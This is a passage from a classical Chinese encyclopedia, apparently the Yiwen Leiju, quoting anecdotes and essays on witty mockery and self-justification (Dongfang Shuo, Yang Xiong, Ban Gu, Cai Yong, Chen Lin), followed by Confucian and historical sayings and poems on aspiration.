● 草 中 食 . 见 一 妪 将 二 儿 过 . 并 青 衣 . 啁 之 曰 . 青 羊 将 两 羔 . 妪 答 曰 . 两 猪 共 一 槽 .\n又 曰 . 许 玄 度 将 弟 出 都 婚 . 诸 人 钦 迟 之 . 既 见 . 乃 甚 痴 . 便 欲 嘲 弃 之 . 玄 度 为 之 作 宾 主 相 对 . 真 长 叹 曰 . 玄 度 为 弟 婚 . 施 十 重 铁 步 障 .\n又 曰 . 钟 雅 语 祖 士 言 . 我 汝 颖 之 士 利 如 锥 . 卿 燕 代 之 士 钝 如 槌 . 祖 曰 . 以 我 钝 槌 . 打 尔 利 锥 . 钟 曰 . 自 有 神 锥 . 不 可 得 打 . 祖 曰 . 既 有 神 锥 . 亦 有 神 槌 .\n又 曰 . 辛 恭 静 见 司 马 太 傅 . 问 卿 何 处 人 . 答 曰 . 西 人 . 太 傅 应 声 戏 之 曰 . 在 西 颇 见 西 王 母 不 . 恭 静 答 曰 . 在 西 乃 不 见 西 王 母 . 过 东 已 见 东 王 公 . 太 傅 大 愧 .\n又 曰 . 晋 孝 武 好 与 虞 啸 父 饮 酒 . 醉 拜 不 能 起 . 帝 呼 人 扶 . 虞 啸 父 答 曰 . 臣 位 未 及 扶 . 醉 未 及 乱 . 非 分 之 赐 . 所 不 敢 当 . 帝 美 之 . 敕 疏 取 语 . 于 是 为 风 俗 . 人 相 嘲 调 . 辄 云 好 语 疏 取 .\n世 说 曰 . 庾 元 规 语 周 伯 仁 曰 . 诸 人 皆 以 君 方 乐 . 周 曰 . 乐 毅 耶 . 庾 曰 . 方 乐 令 耳 . 周 曰 . 何 乃 刻 画 无 盐 . 以 搪 突 西 施 耶 .\n又 曰 . 诸 葛 瑾 为 豫 州 . 别 驾 云 . ○ 按 世 说 排 调 篇 作 遣 别 驾 到 台 . 语 云 . 此 有 脱 文 . 小 儿 知 谈 . 卿 可 与 语 . 别 驾 唤 恪 咄 咄 郎 君 . 恪 因 嘲 之 . 豫 州 乱 矣 . 何 咄 咄 之 有 . 答 曰 . 君 明 臣 贤 . 未 闻 其 乱 . 恪 复 云 . 昔 唐 尧 在 上 . 四 凶 在 下 . 答 曰 . 岂 惟 四 凶 . 亦 有 丹 朱 .\n又 曰 . 邓 艾 口 吃 . 语 称 艾 艾 . 晋 文 王 戏 之 曰 . 卿 云 艾 艾 . 为 是 几 艾 . 邓 答 曰 . 凤 兮 凤 兮 . 故 是 一 凤 .\n又 曰 . 桓 南 郡 出 射 . 有 刘 参 军 与 周 参 军 同 用 ○ 世 说 排 调 篇 作 朋 . 赌 . 垂 成 . 唯 少 一 破 . 刘 谓 周 曰 . 卿 此 起 不 破 . 我 当 相 挞 . 周 曰 . 何 至 受 卿 挞 . 刘 曰 . 伯 禽 之 贵 . 尚 不 免 挞 . 而 况 于 卿 .\n又 曰 . 谢 太 傅 始 有 东 山 之 志 . 桓 公 见 药 中 有 远 志 . 公 问 谢 . 此 药 又 名 小 草 . 何 以 一 物 二 称 . 谢 未 即 答 . 郝 参 军 答 曰 . 处 则 为 远 志 . 出 则 为 小 草 . 谢 公 殊 有 愧 色 .\n又 曰 . 司 马 太 傅 斋 中 坐 . 天 月 明 净 . 叹 以 为 佳 . 谢 景 重 答 曰 . 意 谓 不 如 有 微 云 点 缀 . 太 傅 因 戏 谢 曰 . 卿 居 心 不 净 . 乃 复 欲 滓 秽 太 清 耶 .\n又 曰 . 荀 鸣 鹤 陆 士 龙 二 人 . 俱 会 张 茂 先 坐 . 共 语 . 陆 曰 . 云 闲 陆 士 龙 . 荀 曰 . 日 下 荀 鸣 鹤 . 陆 曰 . 既 开 青 云 . 睹 白 雉 . 何 不 张 尔 弓 . 彀 尔 矢 . 荀 答 曰 . 本 谓 是 云 龙 骙 骙 . 乃 是 山 鹿 野 麋 . 兽 微 弩 强 . 是 以 发 迟 .\n沈 约 宋 书 . 何 承 天 除 着 作 郎 . 年 时 已 老 . 诸 佐 郎 并 名 家 年 少 . 荀 伯 子 嘲 之 . 常 呼 为 你 母 . 承 天 曰 . 卿 当 云 凤 皇 将 九 子 . 你 母 何 言 耶 .\n又 曰 . 刘 义 基 封 营 道 侯 . 凡 鄙 无 识 . 始 兴 王 浚 谓 义 基 曰 . 陆 士 衡 诗 曰 . 营 道 无 烈 心 . 其 意 若 何 文 义 . 答 曰 . 下 官 初 不 识 士 衡 . 何 忽 见 苦 .\n【 诗 】 晋 李 充 嘲 友 人 诗 曰 . 同 好 齐 欢 爱 . 缠 绵 一 何 深 . 子 既 识 我 情 . 我 亦 知 子 心 . 燕 婉 历 年 岁 . 和 乐 如 瑟 琴 . 良 辰 不 我 俱 . 中 阔 似 商 参 . 尔 隔 北 山 阳 . 我 分 南 川 阴 . 嘉 会 罔 克 从 . 积 思 安 可 任 . 目 想 妍 丽 姿 . 耳 存 清 媚 音 . 修 昼 兴 永 念 . 遥 夜 独 悲 吟 . 逝 将 寻 行 役 . 言 别 涕 沾 襟 . 愿 示 降 玉 趾 . 一 顾 重 千 金 .\n【 答 客 难 】 东 方 朔 答 客 难 曰 . 苏 秦 张 仪 . 一 当 万 乘 之 主 . 而 身 都 卿 相 之 位 . 泽 及 后 世 . 今 子 大 夫 修 先 王 之 术 . 慕 圣 主 之 义 . 自 以 为 智 能 海 内 无 双 . 则 可 谓 博 闻 辩 智 矣 . 然 悉 力 尽 忠 . 以 事 圣 帝 . 旷 日 持 久 . 官 不 过 侍 郎 . 位 不 登 执 戟 . 意 者 尚 有 遗 行 耶 . 东 方 先 生 仰 而 应 曰 . 苏 秦 张 仪 之 时 . 周 室 大 坏 . 诸 侯 不 朝 . 力 政 争 权 . 相 禽 以 兵 . 得 士 者 强 . 失 士 者 亡 . 故 谈 说 得 行 焉 . 身 处 尊 位 . 今 则 不 然 . 圣 帝 流 德 . 天 下 震 慑 . 诸 侯 宾 服 . 安 于 覆 盂 . 动 犹 运 掌 . 贤 不 肖 何 以 异 哉 . 尊 天 之 道 . 顺 地 之 理 . 物 无 不 得 其 所 . 故 绥 之 则 安 . 动 之 则 苦 . 尊 之 则 为 将 . 卑 之 则 为 虏 . 抗 之 则 在 青 云 之 上 . 抑 之 则 在 黄 泉 之 下 . 虽 欲 尽 节 效 情 . 安 知 前 后 . 使 苏 秦 张 仪 与 仆 并 生 于 今 之 世 . 曾 不 得 掌 故 . 安 敢 望 侍 郎 乎 .\n又 汉 杨 雄 解 嘲 曰 . 客 嘲 杨 子 曰 . 吾 闻 上 世 之 士 . 人 纲 人 纪 . 析 人 之 圭 . 儋 人 之 爵 . 纡 青 拖 紫 . 朱 丹 其 毂 . 今 吾 子 幸 得 遭 盛 明 之 世 . 处 不 讳 之 朝 . 历 金 门 . 上 玉 堂 . 有 日 矣 . 曾 不 能 画 一 奇 . 出 一 策 . 上 说 人 主 . 下 谈 公 卿 . 顾 黜 而 作 太 玄 五 千 文 . 深 者 入 黄 泉 . 高 者 出 苍 天 . 大 者 含 元 气 . 纤 者 入 无 闲 . 然 位 不 过 侍 郎 . 擢 才 给 事 黄 门 . 杨 子 笑 而 应 之 曰 . 客 徒 欲 朱 丹 吾 毂 . 不 知 一 跌 将 赤 吾 之 族 也 . 往 者 周 网 解 结 . 群 鹿 争 佚 . 土 亡 常 君 . 国 亡 定 臣 . 得 士 者 富 . 失 士 者 贫 . 今 大 汉 . 左 东 海 . 右 渠 搜 . 前 番 禺 . 后 椒 涂 . 散 以 礼 乐 . 风 以 诗 书 . 天 下 之 士 . 雷 动 而 云 合 . 鱼 鳞 杂 袭 . 咸 营 于 八 区 . 家 家 自 以 为 稷 契 . 人 人 自 以 为 皋 陶 . 戴 纚 垂 缨 而 谈 者 . 皆 拟 于 阿 衡 . 五 尺 童 子 . 羞 比 晏 婴 与 夷 吾 . 旦 握 权 则 为 卿 相 . 夕 失 势 则 为 疋 夫 . 譬 若 江 湖 之 涯 . 渤 澥 之 岛 . 乘 雁 集 不 为 之 多 . 双 凫 飞 不 为 之 少 . 向 使 上 世 之 士 . 处 乎 今 也 . 策 非 甲 科 . 行 非 孝 廉 . 举 非 方 正 . 又 安 得 金 紫 . 且 吾 闻 之 也 . 攫 拏 者 亡 . 默 默 者 存 . 位 极 者 宗 危 . 自 守 者 身 全 . 是 以 知 玄 知 默 . 守 道 之 极 . 爰 静 爰 清 . 游 神 之 廷 . 惟 寂 惟 寞 . 守 德 之 宅 . 世 异 事 变 . 人 道 不 殊 . 彼 我 易 时 . 未 知 何 如 . 故 有 造 萧 何 律 于 唐 虞 之 世 . 则 谬 矣 . 有 作 叔 孙 通 仪 于 夏 殷 之 时 . 则 惑 矣 . 有 建 娄 敬 之 策 于 成 周 之 世 . 则 悖 矣 . 有 谈 范 蔡 之 说 于 金 张 许 史 之 闲 . 则 狂 矣 . 夫 萧 规 而 曹 随 . 留 侯 画 策 . 陈 平 出 奇 . 功 若 泰 山 . 响 若 埙 篪 . 虽 其 人 赡 智 哉 . 亦 会 其 时 之 可 为 也 . 故 为 可 为 于 可 为 之 时 则 从 . 为 不 可 为 于 不 可 为 之 时 则 凶 .\n后 汉 班 固 宾 戏 曰 . 太 上 有 立 德 . 其 次 有 立 功 . 是 以 圣 哲 治 之 . 栖 栖 遑 遑 . 孔 席 不 暖 . 墨 突 不 黔 . 由 此 言 之 . 取 舍 者 昔 人 之 上 务 . 着 作 者 前 烈 之 余 事 耳 . 今 吾 子 幸 游 帝 王 之 世 . 躬 带 绂 冕 之 服 . 卒 不 能 摅 首 尾 . 奋 翼 鳞 . 使 见 之 者 景 骇 . 闻 之 者 响 震 . 徒 枕 经 籍 . 纡 体 衡 门 . 潜 神 默 记 . 亘 以 年 岁 . 然 而 器 不 贾 于 当 己 . 用 不 效 于 一 世 . 虽 驰 辩 如 涛 波 . 摛 藻 如 春 华 . 犹 无 益 于 殿 最 也 . 主 人 曰 . 若 宾 之 言 . 斯 所 谓 见 势 利 之 华 . 闇 道 德 之 实 . 守 突 奥 之 荧 烛 . 未 仰 天 庭 而 睹 白 日 也 . 曩 者 王 涂 芜 秽 . 周 失 其 驭 . 侯 伯 方 轨 . 战 国 横 骛 . 当 此 之 时 . 搦 杇 磨 钝 . 铅 刀 皆 能 一 断 . 商 鞅 挟 三 术 以 赞 ○ 文 选 四 十 五 作 钻 . 孝 公 . 李 斯 奋 . 时 务 而 要 始 皇 . 彼 皆 蹑 风 尘 之 会 . 履 颠 沛 之 势 . 朝 为 荣 华 . 夕 而 憔 悴 . 福 不 盈 . 祸 溢 于 世 . 且 功 不 可 以 虚 成 . 名 不 可 以 伪 立 . 韩 设 辩 而 徼 君 . 吕 行 诈 以 贾 国 . 说 难 既 酋 . ○ 文 选 作 遒 . 其 身 乃 囚 . 秦 货 既 贵 . 厥 宗 亦 坠 . 方 今 大 汉 . 洒 扫 群 秽 . 夷 险 芟 荒 . 廓 帝 纮 . 恢 皇 纲 . 基 隆 于 羲 农 . 规 广 于 黄 唐 . 其 君 天 下 也 . 炎 之 如 日 . 威 之 如 神 . 涵 之 如 海 . 养 之 如 春 . 譬 犹 草 木 之 殖 山 林 . 鸟 鱼 之 毓 川 泽 . 参 天 地 而 施 化 . 岂 云 人 事 之 厚 薄 哉 . 宾 曰 . 若 夫 鞅 斯 之 伦 . 既 闻 命 矣 . 敢 问 上 古 之 士 . 处 身 行 道 . 辅 世 成 名 . 可 述 于 后 者 . 默 而 已 乎 . 主 人 曰 . 何 为 其 然 也 . 昔 者 咎 繇 谟 虞 . 箕 子 访 周 . 言 通 帝 王 . 谋 合 圣 神 . 殷 说 梦 发 于 傅 岩 . 周 望 兆 动 于 渭 滨 . 皆 侯 命 而 神 交 . 匪 词 言 之 所 信 . 故 能 建 必 然 之 册 . 展 无 穷 之 勋 也 . 若 乃 牙 旷 清 耳 于 管 弦 . 离 娄 眇 目 于 豪 末 . 逢 蒙 绝 伎 于 弧 矢 . 班 输 攉 巧 于 斧 斤 . 仆 亦 不 任 厕 伎 于 彼 列 . 故 密 迩 自 娱 于 斯 文 .\n后 汉 崔 骃 达 旨 曰 . 往 者 杨 雄 设 言 . 客 有 难 玄 之 尚 白 . 应 以 战 国 之 士 . 若 范 蔡 邹 衍 . 垂 衅 相 倾 . 诳 曜 诸 侯 . 以 干 浊 世 之 宠 . 或 人 亦 有 睹 我 之 澹 泊 . 故 比 方 昔 问 以 难 余 . 余 略 依 前 训 以 报 焉 . 或 说 己 曰 . 今 子 韫 韥 六 经 . 服 膺 道 术 . 历 世 而 游 . 高 谈 有 日 . 然 下 不 步 卿 相 之 庭 . 上 不 登 王 公 之 门 . 进 不 党 于 赞 己 . 退 不 渎 于 庸 人 . 独 师 友 道 德 . 合 符 曩 真 . 盖 树 乔 靡 休 . 独 木 不 林 . 随 时 之 宜 . 道 贵 从 己 . 答 曰 . 有 是 乎 . 苟 欲 免 吾 以 世 路 . 不 知 其 跌 而 失 吾 之 度 也 . 昔 尧 含 威 而 皋 陶 谟 . 高 祖 叹 而 子 房 虑 . 祸 不 散 而 曹 绛 奋 . 结 不 解 而 陈 平 权 . 及 策 合 道 从 . 克 乱 弭 冲 . 乃 将 铭 昆 吾 之 冶 . 勒 景 襄 之 钟 . 今 圣 上 之 育 斯 民 也 . 朴 以 皇 质 . 雕 以 唐 文 . 六 合 怡 怡 . 比 屋 为 仁 . 夫 君 子 非 不 欲 仕 也 . 耻 夸 毗 以 求 举 . 非 不 欲 室 也 . 恶 登 墙 而 楼 处 . 叫 呼 炫 鬻 . 悬 旌 皇 表 . 非 随 和 之 宝 也 . 曝 智 曜 世 . 固 以 干 禄 . 非 仲 尼 之 道 也 .\n后 汉 崔 寔 答 讥 曰 . 客 有 讥 夫 人 之 享 天 爵 而 应 睿 哲 也 . 必 将 振 民 毓 德 . 弭 难 济 时 . 故 或 阶 媵 以 纳 说 . 或 桎 梏 而 不 辞 . 或 击 角 以 自 炫 . 或 养 老 以 待 期 . 及 其 规 合 策 从 . 勋 绩 克 章 . 拨 乱 夷 险 . 九 合 一 匡 . 圣 人 大 宝 . 唯 斯 为 光 . 今 子 游 精 太 清 . 潜 思 九 玄 . 厉 节 缥 霄 . 抗 志 浮 云 . 口 愿 甘 而 尝 苦 . 身 乐 逸 而 长 勤 . 志 求 贵 而 永 卑 . 情 好 富 而 困 贫 . 慕 容 名 而 失 厚 . 思 虑 劳 乎 形 神 . 答 曰 . 子 徒 休 彼 绣 衣 . 不 知 嘉 遁 之 独 肥 也 . 且 麟 隐 于 遐 荒 . 不 纡 机 阱 之 路 . 凤 皇 翔 于 寥 廓 . 故 节 高 而 可 慕 . 李 斯 奋 激 . 果 失 其 度 . 胥 种 遂 功 . 身 乃 无 处 . 观 夫 人 之 进 趍 也 . 不 揣 己 而 干 禄 . 不 揆 时 而 要 会 . 或 遭 否 而 不 遇 . 或 智 小 而 谋 大 . 纤 芒 豪 末 . 祸 亟 无 外 . 荣 速 激 电 . 辱 必 弥 世 . 故 曰 . 爱 饵 衔 钩 . 悔 在 鸾 刀 . 被 文 食 豢 . 乃 启 其 毛 . 若 夫 守 恬 履 静 . 澹 尔 无 求 . 沉 浚 壑 . 栖 息 高 丘 . 虽 无 炎 炎 之 乐 . 亦 无 灼 灼 之 忧 . 余 窃 嘉 兹 . 庶 遵 厥 猷 .\n后 汉 蔡 邕 释 诲 曰 . 务 世 公 子 . 诲 于 华 颠 . 胡 老 曰 . 今\n夫 子 生 清 穆 之 世 . 禀 醇 和 之 器 . 覃 思 典 籍 . 韫 韥 六 经 .\n安 贫 乐 贱 . 与 世 无 营 . 曾 不 能 登 天 庭 . 序 彝 伦 . 扫 六 合\n之 秽 慝 . 清 宇 宙 之 埃 尘 . 小 子 惑 焉 . 胡 老 曰 . 若 公 子 .\n所 谓 睹 暧 昧 之 利 . 而 忘 昭 晰 之 害 . 专 必 成 之 功 . 而 忽 跌\n蹉 之 败 者 已 . 于 是 智 者 骋 诈 . 辩 者 驰 说 . 武 夫 奋 略 . 战\n士 讲 说 . 电 骇 风 驰 . 雾 散 云 披 . 连 衡 者 六 印 磊 落 . 合 从\n者 骈 组 流 离 . 据 巧 蹈 机 . 以 忘 其 危 . 夫 花 离 蒂 而 萎 . 条\n去 干 而 枯 . 女 冶 容 而 淫 . 士 背 道 而 辜 . 人 毁 其 满 . 神 疾\n其 邪 . 利 端 始 萌 . 害 渐 亦 牙 . 贪 夫 殉 财 . 夸 者 死 权 . 瞻\n仰 世 事 . 体 躁 心 烦 . 暝 谦 盈 之 效 . 迷 损 益 之 数 . 骋 驽 骀\n于 修 路 . 慕 麒 麟 而 增 驱 . 卑 俯 乎 外 戚 之 门 . 乞 助 乎 近 贵\n之 誉 . 愿 荣 未 副 . 从 而 颠 踣 . 大 河 盈 溢 . 非 一 所 防 .\n带 甲 百 万 . 非 一 勇 所 抗 . 今 子 责 疋 夫 以 清 宇 宙 . 庸 可 以\n水 旱 而 累 尧 汤 乎 . 是 以 君 子 推 微 达 着 . 寻 端 究 绪 . 履 霜\n知 冰 . 践 露 知 暑 . 魏 陈 琳 应 讥 曰 . 客 有 讥 余 者 云 . 闻 君\n子 动 作 周 旋 . 无 所 苟 而 已 矣 . 今 主 君 钟 阴 阳 之 美 . 总 贤\n圣 之 风 . 固 非 世 人 所 能 及 . 遭 豺 狼 肆 虐 . 社 稷 陨 倾 . 既\n不 能 抗 节 服 义 . 与 主 存 亡 . 而 背 枉 违 难 . 耀 兹 武 功 . 徒\n独 震 扑 山 东 . 剥 落 元 元 . 结 疑 本 朝 . 假 拒 群 奸 . 使 己 蒙\n噂 沓 之 谤 . 而 他 人 受 讨 贼 之 勋 . 捐 功 弃 力 . 以 德 取 怨 .\n今 贱 文 德 而 贵 武 勇 . 任 权 谲 而 背 旧 章 . 无 乃 非 至 德 之 纯\n美 . 而 有 ● 于 后 人 哉 . 主 人 曰 . 是 何 言 也 . 夫 兵 之 设 亦\n久 矣 . 所 以 不 轨 而 惩 淫 慝 也 . 夫 申 鸣 违 父 . 乐 羊 食 子\n. 季 友 鸩 兄 . 周 公 戮 弟 . 犹 忍 而 行 之 . 王 事 所 不 得 已 也\n. 而 况 将 避 谗 慝 之 嫌 . 弃 社 稷 之 难 . 爱 暂 劳 之 民 . 忘 永\n康 之 乐 . 此 庸 夫 犹 所 不 为 . 何 有 冠 世 之 士 哉 . 昔 洪 水 滔\n天 . 泛 滥 中 国 . 伯 禹 躬 之 . 过 门 而 不 入 . 率 万 方 之 民 .\n致 力 乎 沟 洫 . 及 至 箫 韶 九 成 . 百 兽 率 舞 . 垂 拱 无 为 . 而\n天 下 晏 如 . 夫 岂 前 好 勤 而 后 偷 乐 乎 . 盖 以 彼 劳 求 斯 逸 也\n. 夫 世 治 责 人 以 礼 . 世 乱 则 考 人 以 功 . 斯 各 一 时 之 宜 .\n故 有 论 战 阵 之 权 于 清 庙 之 堂 者 . 狂 矣 . 陈 俎 豆 之 器 于 城\n濮 之 墟 者 . 则 悖 矣 . 是 以 达 人 君 子 . 必 相 时 以 立 功 . 必\n揆 宜 以 处 事 . 孝 ● 既 丧 . 妖 官 放 祸 . 栋 臣 残 酷 . 宫 室 焚\n火 . 主 君 乃 芟 凶 族 . 夷 恶 丑 . 荡 涤 朝 奸 . 清 澄 守 职 也 .\n既 乃 卓 为 封 蛇 . 幽 鸩 帝 后 . 强 以 暴 国 . 非 力 所 讨 . 违 而\n去 之 宜 也 . 是 故 天 赞 人 和 . 无 思 不 至 . 用 能 合 师 百 万 .\n若 运 诸 掌 者 . 义 也 . 今 主 君 以 宽 弘 为 宇 . 仁 惠 为 庐 . 若\n地 之 载 . 如 天 之 焘 . 故 当 其 闻 管 籥 之 声 . 则 恐 己 之 病 也\n. 见 羽 旄 之 美 . 则 惧 士 之 劳 也 . 察 稼 穑 之 不 时 . 惟 民 之\n匮 也 . 临 台 观 之 崇 高 . 则 恤 役 之 病 也 . 是 以 虚 心 恭 己 .\n取 人 之 谟 . 辟 四 门 . 广 谏 路 . 贵 谠 言 . 贱 巧 伪 . 虑 不 专\n行 . 功 不 擅 美 . 咨 事 若 不 及 . 求 恐 不 闻 . 用 能 使 贤 智\n者 尽 其 策 . 勇 敢 者 竭 其 身 . 故 举 无 遗 ● . 而 风 烈 宿 宣 也\n.\n人 部 十 言\n志\n礼 记 . 志 之 所 至 . 诗 亦 至 焉 . 诗 之 所 至 . 乐 亦 至 焉 .\n毛 诗 序 曰 . 诗 者 . 志 之 所 之 也 . 在 心 为 志 . 发 言 为 诗 .\n论 语 曰 . 颜 回 季 路 侍 . 子 曰 . 盍 各 言 尔 志 . 子 路 曰 . 愿 车 马 . 衣 轻 裘 . 与 朋 友 共 . 弊 之 而 无 憾 . 颜 回 曰 . 愿 无 伐 善 . 无 施 劳 . 子 路 曰 . 愿 闻 子 之 志 . 子 曰 . 老 者 安 之 . 朋 友 信 之 . 少 者 怀 之 .\n又 . 子 曰 . 饭 蔬 食 饮 水 . 曲 肱 而 枕 之 . 乐 亦 在 其 中 矣 . 不 义 而 富 且 贵 . 于 我 如 浮 云 .\n又 曰 . 叶 公 问 孔 子 于 子 路 . 子 路 不 对 . 子 曰 . 汝 奚 不 曰 . 其 为 人 也 . 发 愤 忘 食 . 乐 以 忘 忧 . 不 知 老 之 将 至 云 尔 .\n又 . 子 路 曾 晢 冉 有 公 西 华 侍 坐 . 子 曰 . 居 则 曰 不 吾 知 也 如 或 知 尔 . 则 何 以 哉 . 子 路 率 尔 而 对 曰 . 千 乘 之 国 . 摄 乎 大 国 之 闲 . 加 之 以 师 旅 . 因 之 以 饥 馑 . 由 也 为 之 . 比 及 三 年 . 可 使 有 勇 . 且 知 方 也 . 夫 子 哂 之 . 求 尔 何 如 . 对 曰 . 方 六 七 十 . 如 五 六 十 . 求 也 为 之 . 比 及 三 年 . 可 使 足 民 . 如 其 礼 乐 . 以 俟 君 子 . 赤 尔 何 如 . 对 曰 . 非 曰 能 之 . 愿 学 焉 . 宗 庙 之 事 . 如 会 同 . 端 章 甫 . 愿 为 小 相 焉 . 点 尔 何 如 . 鼓 瑟 希 . 铿 尔 . 舍 瑟 而 作 . 对 曰 . 异 乎 三 子 者 之 撰 . 子 曰 . 何 伤 乎 . 亦 各 言 其 志 也 . 曰 . 暮 春 者 . 春 服 既 成 . 冠 者 五 六 人 . 童 子 六 七 人 . 浴 乎 沂 . 风 乎 舞 雩 . 咏 而 归 . 夫 子 喟 然 叹 曰 . 吾 与 点 也 .\n家 语 . 孔 子 北 游 . 登 于 农 山 之 上 . 子 路 子 贡 颜 回 侍 侧 . 孔 子 四 望 . 喟 然 而 叹 曰 . 于 斯 致 思 . 无 所 不 至 矣 . 二 三 子 各 言 其 志 . 吾 将 择 焉 . 子 路 进 曰 . 愿 得 白 羽 若 月 . 赤 羽 若 日 . 钟 鼓 之 音 . 上 振 于 天 . 旌 旗 缤 纷 . 下 蟠 于 地 . 由 当 一 队 而 敌 之 . 搴 旗 执 馘 . 唯 由 能 之 . 使 夫 二 子 从 我 焉 . 夫 子 曰 . 勇 哉 . 子 贡 曰 . 赐 愿 使 齐 楚 合 战 . 两 垒 相 当 . 旗 鼓 相 望 . 埃 尘 连 接 . 捉 刃 交 兵 . 赐 着 缟 衣 白 冠 . 陈 说 其 间 . 推 论 利 害 . 二 国 释 患 . 唯 赐 能 之 . 使 夫 二 子 从 我 焉 . 夫 子 曰 . 辩 哉 . 颜 回 曰 . 回 闻 薰 莸 不 同 器 而 藏 . 尧 桀 不 共 国 而 治 . 以 类 异 也 . 回 愿 得 明 王 圣 主 而 相 之 . 敷 其 五 教 . 遵 之 礼 乐 . 使 城 郭 不 脩 . 沟 洫 不 越 . 铸 兵 刃 为 农 器 . 放 牛 马 于 原 薮 . 室 家 无 怨 旷 之 思 . 千 载 无 战 斗 之 患 . 则 由 无 所 施 其 勇 . 而 赐 无 所 用 其 辩 矣 . 夫 子 懔 然 曰 . 美 哉 德 也 . 不 伤 财 . 不 害 民 . 不 繁 辞 . 则 颜 氏 之 子 有 焉 .\n孝 经 钩 命 决 曰 . 孔 子 曰 . 吾 志 在 春 秋 . 行 在 孝 经 . 以 春 秋 属 商 . 以 孝 经 属 参 .\n史 记 . 陈 涉 尝 与 人 佣 耕 . 辍 耕 于 垄 上 . 怅 恨 久 之 . 曰 . 苟 富 贵 . 无 相 忘 . 佣 者 笑 而 应 之 曰 . 若 为 佣 耕 . 何 富 贵 乎 . 涉 太 息 曰 . 嗟 乎 . 燕 雀 焉 知 鸿 鹄 之 志 哉 .\n汉 杨 雄 自 叙 曰 . 雄 为 人 简 易 佚 宕 . 默 而 好 深 湛 之 思 . 清 净 无 为 . 少 嗜 欲 . 不 汲 汲 于 富 贵 . 不 戚 戚 于 贫 贱 . 不 修 廉 隅 . 以 儌 名 当 世 . 无 担 石 之 储 . 晏 如 也 . 自 有 大 度 . 非 圣 哲 之 书 不 好 也 . 非 其 意 . 虽 富 贵 不 事 也 .\n东 观 汉 记 . 初 光 武 适 新 野 . 闻 阴 后 美 . 心 悦 之 . 后 至 长 安 . 见 执 金 吾 甚 盛 . 因 叹 曰 . 仕 宦 当 作 执 金 吾 . 娶 妻 当 得 阴 丽 华 .\n后 汉 书 . 马 少 游 谓 其 从 兄 援 曰 . 士 生 一 世 . 但 取 衣 食 裁 足 . 乘 下 泽 车 . 御 款 段 马 . 守 坟 墓 . 乡 里 称 善 人 . 斯 可 矣 .\n又 . 冯 衍 有 大 志 . 不 戚 戚 于 贫 贱 . 常 慷 慨 叹 曰 . 衍 少 事 名 贤 . 经 历 显 位 . 怀 金 垂 紫 . 竭 节 奉 使 . 不 求 苟 得 . 常 有 凌 云 之 志 . 三 公 之 贵 . 千 金 之 富 . 不 得 其 愿 . 不 概 于 怀 . 贫 而 不 衰 . 贱 而 不 恨 . 年 虽 疲 曳 . 犹 庶 几 名 贤 之 风 . 修 道 德 于 幽 冥 之 路 . 以 终 身 名 . 为 后 世 法 .\n又 . 班 超 . 字 仲 叔 . 家 贫 . 佣 书 以 供 养 . 久 乃 投 笔 而 叹 曰 . 大 丈 夫 无 他 志 略 . 犹 当 效 傅 介 子 张 骞 . 立 功 异 域 . 以 取 封 侯 . 安 能 久 事 笔 砚 间 乎 .\n又 . 梁 竦 . 字 敬 叔 . 自 负 其 才 . 郁 郁 不 得 其 意 . 登 山 远 望 . 叹 息 曰 . 大 丈 夫 生 当 封 侯 . 死 当 庙 食 . 如 不 然 . 闲 居 足 以 养 志 . 诗 书 足 以 自 娱 . 州 郡 之 职 . 但 劳 人 耳 .\n又 . 仲 长 统 . 字 公 理 . 常 欲 卜 居 清 旷 . 以 乐 其 志 . 曰 . 濯 清 水 . 追 凉 风 . 钓 游 鲤 . 弋 高 鸿 . 不 受 当 世 之 责 . 永 保 性 命 之 期 . 则 可 以 凌 云 霄 . 出 宇 宙 之 外 矣 .\n张 璠 汉 纪 . 孔 融 拜 太 中 大 夫 . 虽 居 家 失 势 . 宾 客 日 满 其 门 . 爱 才 乐 士 . 常 若 不 足 . 每 叹 曰 . 坐 上 宾 常 满 . 中 酒 不 空 . 吾 无 忧 矣 .\n吴 书 . 郑 泉 . 博 学 有 奇 姿 . 而 性 嗜 酒 . 闲 居 . 每 日 愿 得 美 酒 满 五 百 斛 舡 . 以 四 时 甘 肥 置 两 头 . 反 覆 没 饮 之 . 惫 即 住 而 啖 肴 膳 . 酒 有 升 斗 减 . 随 即 益 之 . 不 亦 快 乎 .\n晋 中 兴 书 . 毕 卓 为 吏 部 郎 中 . 常 谓 人 曰 . 右 手 持 酒 杯 . 左 手 持 蟹 螯 . 柏 浮 酒 池 中 . 便 足 了 一 生 .\n【 诗 】 魏 陈 思 王 曹 植 诗 曰 . 庆 云 未 时 兴 . 云 龙 潜 作 鱼 . 神 鸾 失 其 俦 . 还 从 燕 雀 居 .\n晋 阮 籍 咏 怀 诗 曰 . 天 地 烟 熅 . 元 精 代 序 . 清 阳 曜 灵 . 和 气 容 与 . 于 赫 帝 朝 . 伊 衡 作 辅 . 才 非 允 文 . 器 非 经 武 . 适 彼 沅 湘 . 托 介 渔 父 . 优 哉 游 哉 . 爰 居 爰 处 .\n又 曰 . 月 明 星 稀 . 天 高 地 寒 . 啸 歌 伤 怀 . 独 寤 寐 言 . 临 觞 拊 膺 . 对 食 忘 餐 . 世 无 萱 草 . 令 我 哀 叹 .\n又 曰 . 河 上 有 丈 人 . 纬 萧 弃 明 珠 . 甘 彼 藜 藿 食 . 乐 是 蓬 蒿 庐 . 岂 效 缤 纷 子 . 良 马 骋 轻 舆 . 朝 生 衢 路 傍 . 夕 瘗 横 街 隅 . 歌 笑 不 终 宴 . 俛 仰 复 欷 歔 . 鉴 兹 二 三 者 . 愤 懑 从 此 舒 .\n又 . 幽 兰 不 可 佩 . 朱 草 为 谁 荣 . 脩 竹 隐 山 阴 . 射 干 临 增 城 .\n又 曰 . 驾 言 发 魏 都 . 南 向 望 吹 台 . 箫 管 有 遗 音 . 梁 王 安 在 哉 . 战 士 食 糟 糠 . 贤 者 处 蒿 莱 . 歌 舞 曲 未 终 . 秦 兵 复 已 来 .\n又 曰 . 木 槿 荣 丘 墓 . 煌 煌 有 光 色 . 白 日 颓 林 中 . 翩 翩 零 路 侧 . 蟋 蟀 吟 户 牖 . 蟪 蛄 鸣 荆 棘 . 蜉 蝣 愿 三 朝 . 采 采 循 羽 翼 .\n又 . 一 日 复 一 日 . 一 夕 复 一 晨 . 容 色 改 平 常 . 精 魂 自 飘 沦 . 临 觞 多 哀 楚 . 思 我 故 情 人 . 对 酒 不 能 言 . 凄 怆 怀 酸 辛 .\n又 曰 . 鸿 鹄 相 随 飞 . 随 飞 适 荒 ● . 双 翮 凌 长 风 . 须 臾 万 里 逝 . 朝 餐 琅 玕 实 . 夕 宿 丹 山 际 . 托 身 青 云 中 . 网 罗 不 能 